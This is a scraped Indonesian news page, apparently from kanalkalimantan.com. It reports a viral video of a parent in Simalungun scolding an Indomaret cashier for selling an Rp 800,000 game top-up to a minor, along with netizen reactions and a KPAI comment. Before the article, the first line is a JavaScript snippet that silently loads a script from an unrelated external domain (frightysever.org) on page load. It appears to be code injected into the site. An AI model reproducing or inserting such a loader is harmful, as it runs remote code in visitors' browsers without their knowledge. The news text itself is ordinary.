(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Kata Indomaret menjadi paling banyak diperbincangkan dan masuk dalam daftar kata yang trending di Twitter pada hari ini. Hingga berita ini diunggah, tercatat sebanyak 7.959 cuitan tentang Indomaret dilontarkan para warganet.
Para netizen pada umumnya mengomentari video pendek berisi orang tua yang memarahi petugas kasir di salah satu gerai Indomaret.
Orang tua itu marah karena kasir minimarket yang berlokasi di Simpang Mayang, Simalungun, Sumatera Utara tersebut melayani anak di bawah umur yang melakukan top up atau isi ulang game online dengan nominal Rp 800.000.
“Beli game online di Indomaret, anak di bawah umur, Rp 800.000 diterima. Kok diterima, kan nggak wajar. Berarti Anda tidak ada menjaga privasi konsumen. Kalian hanya cari keuntungan saja,” kata seorang bapak dalam video viral yang diunggah pada Rabu, 12 Mei 2021.
Petugas kasir Indomaret kemudian menyatakan bahwa dia hanya menjalankan tugasnya melayani pembeli. “Kami hanya menjalankan sesuai peraturan Indomaret,” kata kasir tersebut.
Orang tua itu kemudian balik bertanya, “Apakah benar ada aturan tertulisnya? Bisa saya lihat?”
Lalu petugas kasir menjawab bahwa tidak ada aturan tertulis tersebut. “Tapi tugas kami kan hanya melayani, kami nggak ada batasannya,” ucapnya.
Menanggapi video orang tua tersebut, banyak warganet justru menyalahkan orang tua si anak yang dinilai salah dalam mendidik anak. Para netizen juga setuju bahwa bukan tugas kasir Indomaret untuk melarang anak membeli produk yang dijual, atau disalahkan karena anaknya mencuri uang untuk membeli produk di Indomaret.
“Kenapa mendidik anak orang jadi jobdesc kasir indomaret?” kata Artis Joshua Suherman menanggapi video tersebut. “Babang Indomaret: i didn’t get paid enough for this (saya tidak digaji untuk ini),” tulis akun @unwellinevryway.
Di sisi lain, dimintai komentar terkait viralnya video ini, Ketua Komisi Perlindungan Anak Indonesia (KPAI) Susanto mengatakan pihaknya akan melakukan pendalaman.
“Kami akan telaah lebih lanjut terkait hal ini,” kata Susanto lewat WhatsApp.
Sementara itu, dikonfirmasi Tempo terkait viralnya video tersebut kepada Direktur PT Indomarco Prismatama (Indomaret) Wiwiek Yusuf. Termasuk, mengenai kebijakan Indomaret ihwal pembelian voucher game oleh anak di bawah umur. Namun, hingga berita ini ditayangkan, pesan Tempo hanya dibaca dan belum dibalas. (tempo)
Editor: cell
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
This website uses cookies.